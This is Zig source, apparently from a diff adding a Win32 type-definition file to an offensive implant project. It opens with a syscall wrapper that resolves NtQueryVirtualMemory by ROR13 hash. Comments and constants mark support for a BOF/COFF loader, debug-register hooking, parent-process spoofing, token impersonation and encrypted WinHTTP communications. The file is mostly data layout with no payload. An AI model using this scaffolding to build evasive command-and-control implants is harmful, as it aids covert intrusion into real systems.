// Queries memory region info for an address range.
pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6));
}
+472
View File
@@ -0,0 +1,472 @@
// Win32 type aliases, constants, and struct definitions — data layout only, no function types.
// 1. Base types — CHAR→i8, DWORD→u32, NTSTATUS→i32, BOOL→i32, ULONG_PTR→usize.
// 2. Pointers/handles — LPVOID→*anyopaque, HANDLE, HMODULE, PHANDLE, HINTERNET.
// 3. Strings — LPSTR→[*:0]u8, LPCWSTR→[*:0]const u16, FARPROC, PDWORD.
// 4. Inline helpers — NT_SUCCESS, memory/page constants (PAGE_NOACCESS→MEM_RELEASE).
// 5. Exception — EXCEPTION_SINGLE_STEP=0x80000004, CONTEXT_DEBUG_REGISTERS=0x00100010.
// 6. Startup — STARTUPINFOEXA, PROCESS_INFORMATION, PROC_THREAD_ATTRIBUTE_*.
// 7. COFF — section/symbol/relocation structs for BOF loader.
// 8. Crypto — BCRYPT_AES_ALGORITHM, ECDH P-256, AES-256-GCM sizes, auth mode info.
// 9. NT kernel — CONTEXT (debug regs at offset 192+), EXCEPTION_RECORD, OBJECT_ATTRIBUTES.
// 10. Security — TOKEN_PRIVILEGES, LUID, SE_PRIVILEGE_ENABLED, token access masks.
const std = @import("std");
pub const WINAPI = std.builtin.CallingConvention.winapi;
pub const CHAR = i8;
pub const UCHAR = u8;
pub const BYTE = u8;
pub const WORD = u16;
pub const WCHAR = u16;
pub const SHORT = i16;
pub const INT = i32;
pub const UINT = u32;
pub const LONG = i32;
pub const DWORD = u32;
pub const DWORD64 = u64;
pub const ULONG = u32;
pub const LONGLONG = i64;
pub const ULONGLONG = u64;
pub const BOOL = i32;
pub const BOOLEAN = u8;
pub const NTSTATUS = i32;
pub const HRESULT = i32;
pub const SIZE_T = usize;
pub const DWORD_PTR = usize;
pub const UINT_PTR = usize;
pub const ULONG_PTR = usize;
pub const LONG_PTR = isize;
pub const LARGE_INTEGER = i64;
pub const INTERNET_PORT = u16;
pub const LPVOID = *anyopaque;
pub const LPCVOID = *const anyopaque;
pub const HANDLE = *anyopaque;
pub const PHANDLE = *HANDLE;
pub const HMODULE = *anyopaque;
pub const HINSTANCE = *anyopaque;
pub const HINTERNET = *anyopaque;
pub const LPSTR = [*:0]u8;
pub const LPCSTR = [*:0]const u8;
pub const LPWSTR = [*:0]u16;
pub const LPCWSTR = [*:0]const u16;
pub const PDWORD = *DWORD;
pub const PULONG = *ULONG;
pub const PSIZE_T = *SIZE_T;
pub const PBOOL = *BOOL;
pub const FARPROC = *const fn() callconv(WINAPI) isize;
// 1a. type aliases done. below: inline helpers + memory/page constants
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
return status >= 0;
}
pub const MEM_COMMIT: ULONG = 0x00001000;
pub const MEM_RESERVE: ULONG = 0x00002000;
pub const MEM_RELEASE: ULONG = 0x00008000;
pub const PAGE_NOACCESS: ULONG = 0x01;
pub const PAGE_READONLY: ULONG = 0x02;
pub const PAGE_READWRITE: ULONG = 0x04;
pub const DLL_PROCESS_ATTACH: ULONG = 1;
pub const PAGE_EXECUTE: ULONG = 0x10;
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40;
pub const CONTEXT_AMD64: DWORD = 0x00100000;
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004;
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
// process/startup constants + structures
pub const STARTF_USESTDHANDLES: DWORD = 0x00000100;
pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000;
pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000;
pub const STARTUPINFOEXA = extern struct {
StartupInfo: STARTUPINFOA,
lpAttributeList: ?*anyopaque,
};
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
pub const MAX_PATH: usize = 260;
pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000;
pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0;
pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3;
pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000;
pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133;
pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1;
pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) {
BINARY_MESSAGE = 0,
BINARY_FRAGMENT = 1,
UTF8_MESSAGE = 2,
UTF8_FRAGMENT = 3,
CLOSE = 4,
};
// 1c. PE/COFF constants for the BOF loader and export parsing
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005;
pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006;
pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007;
pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008;
pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009;
pub const COFF_SECT_EXEC: u32 = 0x20000000;
pub const COFF_SECT_WRITE: u32 = 0x80000000;
pub const COFF_SECT_DATA: u32 = 0x40000000;
// 1b. BCrypt crypto constants + structs for ECDH/AES-GCM
pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' };
pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' };
pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' };
pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002;
pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' };
pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' };
pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3));
pub const AES_KEY_SIZE: usize = 32;
pub const GCM_NONCE_SIZE: usize = 12;
pub const GCM_TAG_SIZE: usize = 16;
pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void {
info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
info.dwInfoVersion = 1;
info.pbNonce = null;
info.cbNonce = 0;
info.pbAuthData = null;
info.cbAuthData = 0;
info.pbTag = null;
info.cbTag = 0;
info.pbMacContext = null;
info.cbMacContext = 0;
info.dwFlags = 0;
info.pbIV = null;
info.cbIV = 0;
}
pub const UNICODE_STRING = extern struct {
Length: u16,
MaximumLength: u16,
Buffer: [*]u16,
};
pub const SYSTEM_INFO = extern struct {
u: extern union {
dwOemId: DWORD,
s: extern struct {
wProcessorArchitecture: WORD,
wReserved: WORD,
},
},
dwPageSize: DWORD,
lpMinimumApplicationAddress: LPVOID,
lpMaximumApplicationAddress: LPVOID,
dwActiveProcessorMask: DWORD_PTR,
dwNumberOfProcessors: DWORD,
dwProcessorType: DWORD,
dwAllocationGranularity: DWORD,
wProcessorLevel: WORD,
wProcessorRevision: WORD,
};
pub const COORD = extern struct {
X: SHORT,
Y: SHORT,
};
pub const MEMORY_BASIC_INFORMATION = extern struct {
BaseAddress: LPVOID,
AllocationBase: LPVOID,
AllocationProtect: DWORD,
RegionSize: SIZE_T,
State: DWORD,
Protect: DWORD,
Type: DWORD,
};
pub const SECURITY_ATTRIBUTES = extern struct {
nLength: DWORD,
lpSecurityDescriptor: ?LPVOID,
bInheritHandle: BOOL,
};
pub const PROCESS_INFORMATION = extern struct {
hProcess: HANDLE,
hThread: HANDLE,
dwProcessId: DWORD,
dwThreadId: DWORD,
};
pub const STARTUPINFOA = extern struct {
cb: DWORD,
lpReserved: LPSTR,
lpDesktop: LPSTR,
lpTitle: LPSTR,
dwX: DWORD,
dwY: DWORD,
dwXSize: DWORD,
dwYSize: DWORD,
dwXCountChars: DWORD,
dwYCountChars: DWORD,
dwFillAttribute: DWORD,
dwFlags: DWORD,
wShowWindow: WORD,
cbReserved2: WORD,
lpReserved2: *BYTE,
hStdInput: HANDLE,
hStdOutput: HANDLE,
hStdError: HANDLE,
};
pub const SYSTEMTIME = extern struct {
wYear: WORD,
wMonth: WORD,
wDayOfWeek: WORD,
wDay: WORD,
wHour: WORD,
wMinute: WORD,
wSecond: WORD,
wMilliseconds: WORD,
};
// 1d. NT kernel structures — CONTEXT, EXCEPTION_RECORD, object/process types
pub const CONTEXT = extern struct {
P1Home: DWORD64,
P2Home: DWORD64,
P3Home: DWORD64,
P4Home: DWORD64,
P5Home: DWORD64,
P6Home: DWORD64,
ContextFlags: DWORD,
MxCsr: DWORD,
SegCs: WORD,
SegDs: WORD,
SegEs: WORD,
SegFs: WORD,
SegGs: WORD,
SegSs: WORD,
EFlags: DWORD,
Dr0: DWORD64,
Dr1: DWORD64,
Dr2: DWORD64,
Dr3: DWORD64,
Dr6: DWORD64,
Dr7: DWORD64,
Rax: DWORD64,
Rcx: DWORD64,
Rdx: DWORD64,
Rbx: DWORD64,
Rsp: DWORD64,
Rbp: DWORD64,
Rsi: DWORD64,
Rdi: DWORD64,
R8: DWORD64,
R9: DWORD64,
R10: DWORD64,
R11: DWORD64,
R12: DWORD64,
R13: DWORD64,
R14: DWORD64,
R15: DWORD64,
Rip: DWORD64,
};
pub const EXCEPTION_RECORD = extern struct {
ExceptionCode: DWORD,
ExceptionFlags: DWORD,
ExceptionRecord: *EXCEPTION_RECORD,
ExceptionAddress: *anyopaque,
NumberParameters: DWORD,
ExceptionInformation: [15]ULONG_PTR,
};
pub const EXCEPTION_POINTERS = extern struct {
ExceptionRecord: *EXCEPTION_RECORD,
ContextRecord: *CONTEXT,
};
pub const RTL_OSVERSIONINFOW = extern struct {
dwOSVersionInfoSize: DWORD,
dwMajorVersion: DWORD,
dwMinorVersion: DWORD,
dwBuildNumber: DWORD,
dwPlatformId: DWORD,
szCSDVersion: [128]WCHAR,
};
pub const BCRYPT_ALG_HANDLE = *opaque {};
pub const BCRYPT_KEY_HANDLE = *opaque {};
pub const BCRYPT_SECRET_HANDLE = *opaque {};
// 1e. BCrypt auth mode info + COFF loader structs for BOF parsing
pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct {
cbSize: ULONG,
dwInfoVersion: ULONG,
pbNonce: ?*u8,
cbNonce: ULONG,
pbAuthData: ?*u8,
cbAuthData: ULONG,
pbTag: ?*u8,
cbTag: ULONG,
pbMacContext: ?*u8,
cbMacContext: ULONG,
dwFlags: ULONG,
pbIV: ?*u8,
cbIV: ULONG,
};
pub const coff_file_header_t = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const coff_section_header_t = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const coff_symbol_t = extern struct {
Name: extern union {
ShortName: [8]u8,
LongName: extern struct {
Zeroes: u32,
Offset: u32,
},
},
Value: u32,
SectionNumber: i16,
Type: u16,
StorageClass: u8,
NumberOfAuxSymbols: u8,
};
pub const coff_reloc_t = extern struct {
VirtualAddress: u32,
SymbolTableIndex: u32,
Type: u16,
};
pub const coff_mapped_section_t = struct {
data: []u8,
characteristics: u32,
name: [8]u8,
};
pub const bof_data_parser_t = struct {
data: []const u8,
offset: usize,
};
pub const OBJECT_ATTRIBUTES = extern struct {
Length: ULONG,
RootDirectory: ?HANDLE,
ObjectName: ?*anyopaque,
Attributes: ULONG,
SecurityDescriptor: ?*anyopaque,
SecurityQualityOfService: ?*anyopaque,
};
pub const CLIENT_ID = extern struct {
UniqueProcess: HANDLE,
UniqueThread: ?HANDLE,
};
pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct {
Version: ULONG,
Reserved: ULONG,
Callback: ?*anyopaque,
};
pub const PROCESS_CREATE_INFO = extern struct {
Size: SIZE_T,
ProcessHandle: HANDLE,
ParentProcess: HANDLE,
};
pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) {
SecurityAnonymous = 0,
SecurityIdentification = 1,
SecurityImpersonation = 2,
SecurityDelegation = 3,
};
pub const TOKEN_TYPE = enum(u32) {
TokenPrimary = 1,
TokenImpersonation = 2,
};
pub const TOKEN_DUPLICATE: DWORD = 0x0002;
pub const TOKEN_QUERY: DWORD = 0x0008;
pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020;
pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001;
pub const TOKEN_IMPERSONATE: DWORD = 0x0004;
pub const LUID = extern struct {
LowPart: DWORD,
HighPart: LONG,
};
pub const LUID_AND_ATTRIBUTES = extern struct {
Luid: LUID,
Attributes: DWORD,
};
pub const TOKEN_PRIVILEGES = extern struct {
PrivilegeCount: DWORD,
Privileges: [1]LUID_AND_ATTRIBUTES,
};
// 1f. security/privilege/token constants
pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002;
pub const GENERIC_READ: DWORD = 0x80000000;
pub const GENERIC_WRITE: DWORD = 0x40000000;
pub const OPEN_EXISTING: DWORD = 3;
pub const OPEN_ALWAYS: DWORD = 4;
pub const CREATE_ALWAYS: DWORD = 2;
pub const FILE_SHARE_READ: DWORD = 0x00000001;
pub const FILE_SHARE_WRITE: DWORD = 0x00000002;
pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080;
pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0));
pub const CRITICAL_SECTION = extern struct {
DebugInfo: ?*anyopaque,
LockCount: LONG,
RecursionCount: LONG,
OwningThread: HANDLE,
LockSemaphore: HANDLE,
SpinCount: ULONG_PTR,
};
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;